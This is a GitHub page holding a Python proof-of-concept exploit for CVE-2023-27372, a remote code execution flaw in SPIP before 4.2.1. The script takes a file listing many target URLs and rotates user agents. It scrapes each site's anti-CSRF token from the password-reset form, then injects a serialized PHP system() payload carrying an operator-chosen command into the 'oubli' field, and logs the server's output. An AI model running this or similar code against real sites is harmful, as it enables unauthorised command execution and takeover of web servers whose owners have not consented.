-
Notifications
You must be signed in to change notification settings - Fork 5
/
Copy pathspip.py
161 lines (134 loc) · 9.11 KB
/
spip.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
# Author: Pari Malam
import argparse
import bs4
import os
import requests
import ssl
import urllib3
import random
import html
from sys import stdout
from colorama import Fore, Style
requests.packages.urllib3.disable_warnings()
FY = Fore.YELLOW
FG = Fore.GREEN
FR = Fore.RED
FC = Fore.CYAN
FW = Fore.WHITE
def clear():
os.system('clear' if os.name == 'posix' else 'cls')
def dirdar():
if not os.path.exists('Results'):
os.mkdir('Results')
dirdar()
def banners():
clear()
stdout.write(" \n")
stdout.write(""+Fore.LIGHTRED_EX +"██████╗ ██████╗ █████╗ ██████╗ ██████╗ ███╗ ██╗███████╗ ██████╗ ██████╗ ██████╗███████╗ ██╗ ██████╗ \n")
stdout.write(""+Fore.LIGHTRED_EX +"██╔══██╗██╔══██╗██╔══██╗██╔════╝ ██╔═══██╗████╗ ██║██╔════╝██╔═══██╗██╔══██╗██╔════╝██╔════╝ ██║██╔═══██╗\n")
stdout.write(""+Fore.LIGHTRED_EX +"██║ ██║██████╔╝███████║██║ ███╗██║ ██║██╔██╗ ██║█████╗ ██║ ██║██████╔╝██║ █████╗ ██║██║ ██║\n")
stdout.write(""+Fore.LIGHTRED_EX +"██║ ██║██╔══██╗██╔══██║██║ ██║██║ ██║██║╚██╗██║██╔══╝ ██║ ██║██╔══██╗██║ ██╔══╝ ██║██║ ██║\n")
stdout.write(""+Fore.LIGHTRED_EX +"██║ ██║██╔══██╗██╔══██║██║ ██║██║ ██║██║╚██╗██║██╔══╝ ██║ ██║██╔══██╗██║ ██╔══╝ ██║██║ ██║\n")
stdout.write(""+Fore.LIGHTRED_EX +"██████╔╝██║ ██║██║ ██║╚██████╔╝╚██████╔╝██║ ╚████║██║ ╚██████╔╝██║ ██║╚██████╗███████╗██╗██║╚██████╔╝\n")
stdout.write(""+Fore.LIGHTRED_EX +"╚═════╝ ╚═╝ ╚═╝╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═══╝╚═╝ ╚═════╝ ╚═╝ ╚═╝ ╚═════╝╚══════╝╚═╝╚═╝ ╚═════╝ \n")
stdout.write(""+Fore.YELLOW +"═════════════╦═════════════════════════════════╦════════════════════════════════════════════════════════════\n")
stdout.write(""+Fore.YELLOW +"╔════════════╩═════════════════════════════════╩═════════════════════════════╗\n")
stdout.write(""+Fore.YELLOW +"║ \x1b[38;2;255;20;147m• "+Fore.GREEN+"AUTHOR "+Fore.RED+" |"+Fore.LIGHTWHITE_EX+" PARI MALAM "+Fore.YELLOW+"║\n")
stdout.write(""+Fore.YELLOW +"╔════════════════════════════════════════════════════════════════════════════╝\n")
stdout.write(""+Fore.YELLOW +"║ \x1b[38;2;255;20;147m• "+Fore.GREEN+"GITHUB "+Fore.RED+" |"+Fore.LIGHTWHITE_EX+" GITHUB.COM/PARI-MALAM "+Fore.YELLOW+"║\n")
stdout.write(""+Fore.YELLOW +"╚════════════════════════════════════════════════════════════════════════════╝\n")
print(f"{FY}[CVE-2023-27372] - {FG}SPIP Remote Code Execution (4.2.1)\n{Style.RESET_ALL}")
banners()
def users_agents():
with open("lib/ua.txt", "r") as ua_file:
user_agents = ua_file.readlines()
user_agents = [ua.strip() for ua in user_agents if ua.strip()]
return user_agents
def parse_args():
parser = argparse.ArgumentParser(description="Poc of CVE-2023-27372 SPIP < 4.2.1 - Remote Code Execution")
parser.add_argument("-f", "--filename", default=None, required=True, help="File containing multiple URLs")
parser.add_argument("-c", "--command", default=None, required=True, help="Command to execute")
parser.add_argument("-v", "--verbose", default=False, action="store_true", help="Verbose mode. (default: False)")
parser.add_argument("-o", "--output", default=None, help="Output file to save the response text")
return parser.parse_args()
def get_anticsrf(url, session):
try:
if not url.startswith(('http://', 'https://')):
url = 'http://' + url
headers = {
'User-Agent': random.choice(users_agents())
}
r = session.get('%s/spip.php?page=spip_pass' % url, headers=headers, timeout=10, verify=False)
r.raise_for_status()
soup = bs4.BeautifulSoup(r.text, 'html.parser')
csrf_input = soup.find('input', {'name': 'formulaire_action_args'})
if csrf_input:
csrf_value = csrf_input['value']
if options.verbose:
print(f"{FY}[CVE-2023-27372] - {FW}{url} - {FG}[w00t] - {FW}Anti-CSRF Token: {FC}{csrf_value}")
return csrf_value
else:
print(f"{FY}[CVE-2023-27372] - {FW}{url} - {FR}[Failed] - Unable to find Anti-CSRF Token")
return None
except requests.exceptions.RequestException as e:
print(f"{FY}[CVE-2023-27372] - {FW}{url} - {FR}[Failed] - An error occurred while accessing URL")
# print("Error message:", str(e))
return None
def send_payload(url, payload, csrf, session):
try:
data = {
"page": "spip_pass",
"formulaire_action": "oubli",
"formulaire_action_args": csrf,
"oubli": payload
}
headers = {
'User-Agent': random.choice(users_agents())
}
r = session.post('%s/spip.php?page=spip_pass' % url, headers=headers, data=data, timeout=10, verify=False)
r.raise_for_status()
output_folder = "Results"
os.makedirs(output_folder, exist_ok=True)
if options.output:
output_folder = "Results"
os.makedirs(output_folder, exist_ok=True)
output_file_path = os.path.join(output_folder, options.output)
with open(output_file_path, 'a', encoding='utf-8') as output_file:
output_file.write(f"{url}/spip.php?page=spip_pass\n\n")
output_file.write(r.text + '\n\n')
if options.verbose:
print(f"{FY}[CVE-2023-27372] - {FW}{url}/spip.php?page=spip_pass - {FG}Executed Payload - {FC}{payload}")
print(f"{FY}[CVE-2023-27372] - {FW}{url} - {FG}Response text: {r.text}")
if options.output:
with open(output_file_path, 'a', encoding='utf-8') as output_file:
output_file.write(f"{url}/spip.php?page=spip_pass\n\n")
output_file.write(r.text + '\n\n')
soup = bs4.BeautifulSoup(r.text, 'html.parser')
oubli_input = soup.find('input', {'name': 'oubli', 'type': 'text'})
if oubli_input:
value = oubli_input['value']
print(f"{FY}[CVE-2023-27372] - {FG}Extracted Value - {FC}{value}")
else:
print(f"{FY}[CVE-2023-27372] - {FR}[Failed] - Unable to find the oubli value, try check in manual.")
return 0
except requests.exceptions.RequestException as e:
print(f"{FY}[CVE-2023-27372] - {FW}{url} - {FR}[Failed] - An error occurred while sending payloads")
# print("Error message:", str(e))
return -1
if __name__ == '__main__':
options = parse_args()
with open(options.filename, 'r') as file:
urls = [line.strip() for line in file]
urls = [url if url.startswith(('http://', 'https://')) else 'http://' + url for url in urls]
urllib3.disable_warnings()
ssl_context = ssl.create_default_context()
ssl_context.set_ciphers(':HIGH:!DH:!aNULL')
try:
urllib3.util.ssl_.DEFAULT_CIPHERS += ':HIGH:!DH:!aNULL'
except AttributeError:
pass
session = requests.Session()
for url in urls:
csrf = get_anticsrf(url, session)
if csrf is not None:
send_payload(url, payload=f"s:%s:\"<?php system('{options.command}'); ?>\";" % (20 + len(options.command)), csrf=csrf, session=session)